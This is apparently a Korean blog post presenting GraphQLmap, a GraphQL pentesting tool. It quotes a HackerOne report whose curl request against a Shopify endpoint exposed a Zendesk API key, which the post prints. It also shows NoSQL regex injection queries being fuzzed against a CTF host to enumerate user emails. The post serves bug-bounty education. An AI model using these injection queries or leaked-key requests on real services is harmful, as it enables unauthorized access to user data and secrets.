GraphQLmap - testing graphql endpoint for pentesting & bugbounty

밤에 트윗보다보니 swissky가 툴 하나를 만들어서 배포했더군요. 심지어 GraphQL 관련 자동화도구라 바로 대충 정리해서 포스팅해봅니다. GraphQLmap 입니다.

아 swissky는 Payload All the Things을 만든.. 대단한 친구죠 :)

What is GraphQL?

GraphQL 은 페북에서 만든 Query Lang입니다. JSON 포맷으로 쿼리 데이터로 웹에 필요한 정보를 불러오는 전형적인 API 형태의 언어입니다.

Query

{
  me {
    name
  }
}

Response

{
  "me": {
    "name": "Luke Skywalker"
  }
}

솔직히 개발적인 부분에서의 이점은 좀 더 유연한 쿼리를 쓸 수 있다(?, 사용자가 그때그떄 입력한 필요한 정보에 따라 결과를 주니..) 정도인 것 같습니다. 물론 제가 개발자가 아니기 때문에 개발자분들의 의견은 다르겠지만요.

아무튼 서버에서 사용자 요청에 대해 처리 후 데이터를 내어주기 떄문에 서버에서 잘 설정한 경우 안전할 수도 있게지만, 해커원 보고서에 잘 올라오는걸 보면 그리 안전하게 사용되는 것 같진 않습니다. (https://hackerone.com/hacktivity?order_direction=DESC&order_field=popular&filter=type%3Apublic&querystring=graphql) 국내에선 쓰이는 곳을 아직 많이 못보긴 헀는데, 해외 서비스 기준으론 굉장히 많이 쓰이고 있습니다. 해외 버그바운티에 관심 있으시다면 꼭 알아두시는게 좋을 것 같습니다.

자세한건 공식 튜토리얼 쭉 따라해보면 쉽습니다. https://graphql.org/learn/

What is GraphQLmap?

음. sqlmap의 graphql 버전이라고 보시면 좋습니다. GraphQL에도 잘 나오는 취약점이 하나 있느데, 바로 의도하지 않은 쿼리 데이터로 타 사용자, 시스템 정보 등 중요정보를 획득할 수 있는 부분이 있습니다. Shopify로 올라왔던 보고서를 하나 보면… https://hackerone.com/reports/397130

Request

curl -i -s -k  -X $'POST' \
    -H $'Host: athena-flex-production.shopifycloud.com' -H $'User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0' -H $'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Content-Type: application/json' -H $'Connection: close' -H $'Upgrade-Insecure-Requests: 1' -H $'Content-Length: 422' \
    --data-binary $'{\"query\": \"query getRecentTicketsQuery($domain: String) {\\n    shop(myshopifyDomain: $domain) {\\n      zendesk {\\n        tickets(last: 5) {\\n          edges {\\n            node {\\n              id\\n               requester {\\n                name\\n              }\\n              subject\\n              description\\n              }\\n          }\\n        }\\n      }\\n    }\\n  }\\n\",\"variables\":{\"domain\":\"ok.myshopify.com\"}}' \
    $'https://athena-flex-pro

Response

R = n.n(O)()({
 apiKey: "5c0246635b3c77189888c0b10d3427ac",
 notifyReleaseStages: ["production"],
 releaseStage: "production" 
}),

이런식으로 getRecentTicketsQuery를 통해 shopify에서 사용하는 Zendesk의 api 키를 읽었습니다. 요런걸 조금 쉽게 찾기 위해서 사용해볼 수 있는 툴입니다.

주요 기능은 이렇습니다

Features :

  • Dump a GraphQL schema
  • Interact with a GraphQL endpoint
  • Execute GraphQL queries
  • Autocomplete queries
  • NoSQL injection inside a GraphQL field
  • SQL injection inside a GraphQL field
  • GraphQL field fuzzing

How to Install & Use ?

git clone https://github.com/swisskyrepo/GraphQLmap

python3 graphqlmap.py
   _____                 _      ____  _
  / ____|               | |    / __ \| |
 | |  __ _ __ __ _ _ __ | |__ | |  | | |     _ __ ___   __ _ _ __
 | | |_ | '__/ _` | '_ \| '_ \| |  | | |    | '_ ` _ \ / _` | '_ \
 | |__| | | | (_| | |_) | | | | |__| | |____| | | | | | (_| | |_) |
  \_____|_|  \__,_| .__/|_| |_|\___\_\______|_| |_| |_|\__,_| .__/
                  | |                                       | |
                  |_|                                       |_|
                                         Author:Swissky Version:1.0
usage: graphqlmap.py [-h] [-u URL] [-v [VERBOSITY]]

optional arguments:
  -h, --help      show this help message and exit
  -u URL          URL to query : example.com/graphql?query={}
  -v [VERBOSITY]  Enable verbosity

Test with GraphQLmap

1) Load test url

python3 graphqlmap.py -u "http://meetyourdoctor3.challs.malice.fr/graphql?query={}"

2) test query

GraphQLmap > {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine3GRAPHQL_INCREMENT_10@yahoo.com\"} }"){id, lastName, email}}                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine30@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine31@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine32@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine33@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine34@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (222) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine35@yahoo.com\"} }"){id, lastName, email}}                                                                    
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine36@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine37@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine38@yahoo.com\"} }"){id, lastName, email}}                                                                     
[+] Query: (45) {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine39@yahoo.com\"} }"){id, lastName, email}}                                                                     
GraphQLmap > {doctors(options: 1, search: "{ \"email\":{ \"$regex\": \"Maxine35@yahoo.com\"} }"){id, lastName, email}}                                                                        
{                                                                                                                                                                                             
    "data": {                                                                                                                                                                                 
        "doctors": [                                                                                                                                                                          
            {                                                                                                                                                                                 
                "email": "Maxine35@yahoo.com",                                                                                                                                                
                "id": "5d089c51dcab2d0032fdd082",                                                                                                                                             
                "lastName": "Christiansen"                                                                                                                                                    
            }                                                                                                                                                                                 
        ]                                                                                                                                                                                     
    }                                                                                                                                                                                         
}

결과를 보면 각 쿼리를 요청했을 때 Response 길이가 (45) 이런식으로 찍히는데, 이 부분을 보고 정보를 획득했는지 알 수 있습니다. 귀찮은 작업인데, 편리하게 쓰이겠군요!